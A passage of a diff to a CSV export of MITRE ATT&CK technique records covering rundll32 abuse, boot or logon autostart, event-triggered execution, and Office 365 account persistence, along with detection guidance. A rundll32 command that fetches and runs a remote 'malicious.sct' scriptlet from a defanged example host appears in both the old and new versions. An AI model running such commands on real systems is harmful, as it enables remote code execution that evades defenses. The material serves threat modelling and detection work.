'https://github.com/gtworek/PSBits/tree/master/NoRunDll'}]",1.1,attack-pattern,attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T18:03:46.248Z,2021-10-14T21:45:53.057Z,Rundll32,"Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL) -Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();GetObject(""script:https[:]//www[.]example[.]com/malicious.sct"")"" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)",attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5,attack-pattern,['defense-evasion'],2021-01-20T18:12:11.843Z,2020-01-23T18:03:46.248Z,Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.,"['Process: Process Creation', 'Command: Command Execution', 'Module: Module Load']","['Casey Smith', 'Ricardo Dias']","['Digital Certificate Validation', 'Application control', 'Anti-virus']",['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1547', 'url': 'https://attack.mitre.org/techniques/T1547'}, {'external_id': 'CAPEC-564', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/564.html'}, {'url': 'http://msdn.microsoft.com/en-us/library/aa376977', 'description': 'Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.', 'source_name': 'Microsoft Run Key'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx', 'description': 'Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.', 'source_name': 'MSDN Authentication Packages'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx', 'description': 'Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.', 'source_name': 'Microsoft TimeProvider'}, {'url': 'https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order', 'description': 'Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.', 'source_name': 'Cylance Reg Persistence Sept 2013'}, {'source_name': 'Linux Kernel Programming', 'url': 'https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf', 'description': 'Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.'}, {'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'source_name': 'TechNet Autoruns'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.1,False,https://attack.mitre.org/techniques/T1547,mitre-attack,T1547,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Boot or Logon Autostart Execution,"Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)  These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel. +Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();GetObject(""script:https[:]//www[.]example[.]com/malicious.sct"")"" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) + +Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll)",['defense-evasion'],https://attack.mitre.org/techniques/T1218/011,mitre-attack,T1218.011,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Gareth Phillips, Seek Ltd.', 'Casey Smith', 'Ricardo Dias']","['File: File Metadata', 'Process: Process Creation', 'Command: Command Execution', 'Module: Module Load']","['Digital Certificate Validation', 'Application control', 'Anti-virus']","Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. + +Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547', 'external_id': 'T1547'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/564.html', 'external_id': 'CAPEC-564'}, {'source_name': 'Microsoft Run Key', 'description': 'Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/aa376977'}, {'source_name': 'MSDN Authentication Packages', 'description': 'Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx'}, {'source_name': 'Microsoft TimeProvider', 'description': 'Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx'}, {'source_name': 'Cylance Reg Persistence Sept 2013', 'description': 'Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.', 'url': 'https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order'}, {'source_name': 'Linux Kernel Programming', 'description': 'Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.', 'url': 'https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",1.1,attack-pattern,attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T17:46:59.535Z,2021-10-19T04:03:47.056Z,Boot or Logon Autostart Execution,"Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)  These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel. -Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.",attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf,attack-pattern,"['persistence', 'privilege-escalation']",2021-04-24T13:50:12.837Z,2020-01-23T17:46:59.535Z,"Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. +Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1547,mitre-attack,T1547,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Kernel: Kernel Module Load', 'Driver: Driver Load', 'Process: OS API Execution']",,"Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. Suspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. -Monitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.","['File: File Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Kernel: Kernel Module Load', 'Driver: Driver Load', 'Process: OS API Execution']",,,"['User', 'Administrator', 'root']","['Linux', 'macOS', 'Windows']",,CAPEC-564,https://capec.mitre.org/data/definitions/564.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1546', 'url': 'https://attack.mitre.org/techniques/T1546'}, {'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf', 'description': 'Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.', 'source_name': 'FireEye WMI 2015'}, {'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf', 'description': 'Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.', 'source_name': 'Malware Persistence on OS X'}, {'url': 'https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/', 'description': 'Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.', 'source_name': 'amnesia malware'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.1,False,https://attack.mitre.org/techniques/T1546,mitre-attack,T1546,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Event Triggered Execution,"Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. +Monitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.",False,"['User', 'Administrator', 'root']","['Linux', 'macOS', 'Windows']",,CAPEC-564,https://capec.mitre.org/data/definitions/564.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546', 'external_id': 'T1546'}, {'source_name': 'FireEye WMI 2015', 'description': 'Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf'}, {'source_name': 'Malware Persistence on OS X', 'description': 'Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}, {'source_name': 'amnesia malware', 'description': 'Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.', 'url': 'https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/'}]",1.1,attack-pattern,attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-22T21:04:23.285Z,2021-10-16T20:11:14.193Z,Event Triggered Execution,"Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware) -Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ",attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db,attack-pattern,"['privilege-escalation', 'persistence']",2021-04-13T21:32:54.610Z,2020-01-22T21:04:23.285Z,"Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. +Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ","['privilege-escalation', 'persistence']",https://attack.mitre.org/techniques/T1546,mitre-attack,T1546,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Creation', 'File: File Modification', 'WMI: WMI Creation', 'File: File Metadata', 'Module: Module Load']",,"Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. These mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. @@ -2286,41 +2501,49 @@ Monitor for processes, API/System calls, and other common ways of manipulating t Tools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. -Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. ","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Creation', 'File: File Modification', 'WMI: WMI Creation', 'File: File Metadata', 'Module: Module Load']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1098.003', 'url': 'https://attack.mitre.org/techniques/T1098/003'}, {'source_name': 'Microsoft Support O365 Add Another Admin, October 2019', 'url': 'https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d', 'description': 'Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.'}, {'source_name': 'Microsoft O365 Admin Roles', 'url': 'https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide', 'description': 'Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1098/003,mitre-attack,T1098.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Add Office 365 Global Administrator Role,"An adversary may add the Global Administrator role to an adversary-controlled account to maintain persistent access to an Office 365 tenant.(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins) via the global admin role.(Citation: Microsoft O365 Admin Roles) +Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. ",False,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1098/003', 'external_id': 'T1098.003'}, {'source_name': 'Microsoft Support O365 Add Another Admin, October 2019', 'description': 'Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.', 'url': 'https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d'}, {'source_name': 'Microsoft O365 Admin Roles', 'description': 'Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.', 'url': 'https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide'}]",1.0,attack-pattern,attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-19T16:59:45.362Z,2020-03-24T12:40:02.331Z,Add Office 365 Global Administrator Role,"An adversary may add the Global Administrator role to an adversary-controlled account to maintain persistent access to an Office 365 tenant.(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins) via the global admin role.(Citation: Microsoft O365 Admin Roles) -This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity.",attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3,attack-pattern,['persistence'],2020-03-24T12:40:02.331Z,2020-01-19T16:59:45.362Z,Collect usage logs from cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. ,['User Account: User Account Modification'],['Microsoft Threat Intelligence Center (MSTIC)'],,['Administrator'],['Office 365'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1098.002', 'url': 'https://attack.mitre.org/techniques/T1098/002'}, {'source_name': 'Microsoft - Add-MailboxPermission', 'url': 'https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps', 'description': 'Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.'}, {'url': 'https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf', 'description': 'Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.', 'source_name': 'FireEye APT35 2018'}, {'source_name': 'Crowdstrike Hiding in Plain Sight 2018', 'url': 'https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/', 'description': 'Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.'}, {'source_name': 'Bienstock, D. - Defending O365 - 2019', 'url': 'https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365', 'description': 'Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1098/002,mitre-attack,T1098.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exchange Email Delegate Permissions,"Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) +This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity.",['persistence'],https://attack.mitre.org/techniques/T1098/003,mitre-attack,T1098.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Microsoft Threat Intelligence Center (MSTIC)'],['User Account: User Account Modification'],,Collect usage logs from cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. ,True,['Administrator'],['Office 365'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1098/002', 'external_id': 'T1098.002'}, {'source_name': 'Microsoft - Add-MailboxPermission', 'description': 'Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps'}, {'source_name': 'FireEye APT35 2018', 'description': 'Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.', 'url': 'https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf'}, {'source_name': 'Crowdstrike Hiding in Plain Sight 2018', 'description': 'Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.', 'url': 'https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/'}, {'source_name': 'Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452', 'description': 'Mike Burns, Matthew McWhirt, Douglas Bienstock, Nick Bennett. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved September 25, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html'}, {'source_name': 'Bienstock, D. - Defending O365 - 2019', 'description': 'Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019.', 'url': 'https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365'}]",1.1,attack-pattern,attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-19T16:54:28.516Z,2021-10-18T18:57:04.148Z,Exchange Email Delegate Permissions,"Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) -This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)",attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306,attack-pattern,['persistence'],2020-05-04T19:18:36.254Z,2020-01-19T16:54:28.516Z,"Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. +Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. Adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452) -A larger than normal volume of emails sent from an account and similar phishing emails sent from  real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.","['Group: Group Modification', 'User Account: User Account Modification']","['Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)']",,['Administrator'],"['Windows', 'Office 365']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1098.001', 'url': 'https://attack.mitre.org/techniques/T1098/001'}, {'source_name': 'Microsoft SolarWinds Customer Guidance', 'url': 'https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/', 'description': 'MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.'}, {'source_name': 'Blue Cloud of Death', 'url': 'https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1', 'description': 'Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.'}, {'source_name': 'Blue Cloud of Death Video', 'url': 'https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815', 'description': 'Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.'}, {'source_name': 'Demystifying Azure AD Service Principals', 'url': 'https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/', 'description': 'Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.'}, {'source_name': 'GCP SSH Key Add', 'url': 'https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add', 'description': 'Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.'}, {'source_name': 'Expel IO Evil in AWS', 'url': 'https://expel.io/blog/finding-evil-in-aws/', 'description': 'A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.'}, {'source_name': 'Expel Behind the Scenes', 'url': 'https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/', 'description': 'S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",2.2,True,https://attack.mitre.org/techniques/T1098/001,mitre-attack,T1098.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Additional Cloud Credentials,"Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment. +This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)",['persistence'],https://attack.mitre.org/techniques/T1098/002,mitre-attack,T1098.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Microsoft Detection and Response Team (DART)', 'Mike Burns, Mandiant', 'Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)', 'Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)']","['Application Log: Application Log Content', 'Group: Group Modification', 'User Account: User Account Modification']",,"Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. + +Enable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. + +A larger than normal volume of emails sent from an account and similar phishing emails sent from  real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.",True,['Administrator'],"['Windows', 'Office 365']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1098/001', 'external_id': 'T1098.001'}, {'source_name': 'Microsoft SolarWinds Customer Guidance', 'description': 'MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.', 'url': 'https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/'}, {'source_name': 'Blue Cloud 